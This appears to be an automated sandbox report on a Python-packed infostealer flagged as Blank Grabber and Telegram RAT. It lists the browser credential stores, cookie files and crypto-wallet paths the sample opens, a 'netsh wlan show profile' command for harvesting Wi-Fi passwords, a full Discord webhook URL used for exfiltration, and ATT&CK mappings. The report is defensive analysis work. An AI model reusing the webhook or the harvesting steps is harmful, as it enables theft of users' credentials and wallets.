Source: Yara match	File source: 00000001.00000003.2102475831.000001B5FEEF0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2105351723.000001B5FDA10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1707785964.000002641A645000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1707785964.000002641A643000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: program.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: program.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI73082\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: program.exe PID: 7324, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: program.exe, 00000001.00000003.1759907670.000001B5FE389000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Electrum\wallets[
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: com.liberty.jaxx
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: exodus.wallet
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal WLAN passwords

Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile
Source: C:\Users\user\Desktop\program.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profile"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profile

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GCM Store	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync App Settings	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\BudgetDatabase	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\WebStorage	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\EventDB	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\AutofillStrikeDatabase	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\ls-archive.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Cache	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\GPUCache	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\commerce_subscription_db	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file_0.indexeddb.leveldb	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\program.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior

Source: Yara match	File source: 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: program.exe PID: 7324, type: MEMORYSTR

Remote Access Functionality

Yara detected Blank Grabber

Source: Yara match	File source: 00000001.00000003.2102475831.000001B5FEEF0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2105351723.000001B5FDA10000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1707785964.000002641A645000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1707785964.000002641A643000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: program.exe PID: 7308, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: program.exe PID: 7324, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI73082\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: program.exe PID: 7324, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	241 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 File and Directory Permissions Modification	1 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	3 Ingress Tool Transfer	Exfiltration Over Other Network Medium	1 Data Encrypted for Impact
Credentials	Domains	Default Accounts	3 Native API	2 Registry Run Keys / Startup Folder	1 Access Token Manipulation	4 Disable or Modify Tools	LSASS Memory	3 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	1 System Shutdown/Reboot
Email Addresses	DNS Server	Domain Accounts	122 Command and Scripting Interpreter	Logon Script (Windows)	11 Process Injection	11 Deobfuscate/Decode Files or Information	Security Account Manager	48 System Information Discovery	SMB/Windows Admin Shares	1 Clipboard Data	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	3 PowerShell	Login Hook	2 Registry Run Keys / Startup Folder	21 Obfuscated Files or Information	NTDS	151 Security Software Discovery	Distributed Component Object Model	Input Capture	5 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	11 Software Packing	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Timestomp	Cached Domain Credentials	141 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Modify Registry	Proc Filesystem	1 Remote System Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	141 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	1 System Network Configuration Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Access Token Manipulation	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	11 Process Injection	Input Capture	System Network Connections Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
program.exe	45%	ReversingLabs	Win64.Trojan.Generic
program.exe	47%	Virustotal		Browse

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\_MEI73082\VCRUNTIME140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\VCRUNTIME140.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\_MEI73082\_bz2.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\_bz2.pyd	1%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\_MEI73082\_ctypes.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\_decimal.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\_hashlib.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\_lzma.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\_queue.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\_socket.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\_sqlite3.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\_ssl.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\libcrypto-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\libffi-8.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\libssl-3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\python313.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\select.pyd	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\sqlite3.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\_MEI73082\unicodedata.pyd	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
http://schemas.mic;	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
discord.com	162.159.137.232	true	false		high
ip-api.com	208.95.112.1	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://discord.com/api/webhooks/1298867906041479188/X0YmXSYYuFGsCIlZL1CQlv_GeIoIWc3S1cksX7_7_e4Onj-TjaVqNzNpf_yEZ3AJvNBM	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Blank-c/BlankOBF	program.exe, 00000001.00000003.1720139515.000001B5FE45D000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1724687478.000001B5FE13E000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1721395579.000001B5FE107000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/29200	program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.avito.ru/	program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#	program.exe, 00000001.00000002.2104884154.000001B5FC007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.leboncoin.fr/	program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://packaging.python.org/en/latest/specifications/recording-installed-packages/#the-record-file	program.exe, 00000001.00000002.2105991946.000001B5FE050000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc2388#section-4.4	program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base64	program.exe, 00000001.00000003.1713530178.000001B5FDD14000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1718315279.000001B5FDD08000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1713899896.000001B5FDD14000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1714242309.000001B5FDD18000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1718558053.000001B5FDD11000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1725898997.000001B5FDD18000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1714439286.000001B5FDD18000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1727743647.000001B5FDCB7000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1723691817.000001B5FDD15000.00000004.00000020.00020000.00000000.sdmp	false		high
https://weibo.com/	program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000001.00000002.2107834839.000001B5FE95C000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000001.00000002.2107834839.000001B5FE980000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.anonfiles.com/upload	program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://packaging.python.org/en/latest/specifications/entry-points/#file-format	program.exe, 00000001.00000002.2105991946.000001B5FE050000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.msn.com	program.exe, 00000001.00000002.2114614682.000001B5FFA8C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://nuget.org/nuget.exe	powershell.exe, 00000008.00000002.1906355908.000001A84B996000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1981454462.000001E9C1FA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908908412.000001E9B374D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1981454462.000001E9C1E5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discord.com/api/v9/users/	program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2192#issuecomment-821832963	program.exe, 00000001.00000002.2107071806.000001B5FE450000.00000004.00001000.00020000.00000000.sdmp	false		high
http://cacerts.digi	program.exe, 00000000.00000003.1706688140.000002641A640000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000000.00000003.1704607095.000002641A640000.00000004.00000020.00020000.00000000.sdmp	false		high
https://peps.python.org/pep-0205/	program.exe, 00000001.00000003.1711208827.000001B5FDA11000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.reddit.com/	program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000008.00000002.1871103876.000001A83B921000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908908412.000001E9B1DE1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ExecutionLoader.get_filename	program.exe, 00000001.00000002.2105086608.000001B5FD810000.00000004.00001000.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#https-proxy-error-http-proxy	program.exe, 00000001.00000002.2107318473.000001B5FE680000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L688	program.exe, 00000001.00000002.2105086608.000001B5FD894000.00000004.00001000.00020000.00000000.sdmp	false		high
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000002A.00000002.1908908412.000001E9B36F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1991968097.000001E9CA1A0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/soap/encoding/	powershell.exe, 00000008.00000002.1871103876.000001A83BB49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ebay.de/	program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000002A.00000002.1908908412.000001E9B36F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1991968097.000001E9CA1A0000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_code	program.exe, 00000001.00000002.2105086608.000001B5FD810000.00000004.00001000.00020000.00000000.sdmp	false		high
https://go.micro	powershell.exe, 0000002A.00000002.1908908412.000001E9B2CB9000.00000004.00000800.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader	program.exe, 00000001.00000002.2104884154.000001B5FC007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.amazon.com/	program.exe, 00000001.00000002.2107834839.000001B5FE8B0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/cpython/issues/86361.	program.exe, 00000001.00000003.1727613686.000001B5FDCC1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1727759704.000001B5FDD25000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105991946.000001B5FE050000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/Icon	powershell.exe, 0000002A.00000002.1981454462.000001E9C1E5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	false		high
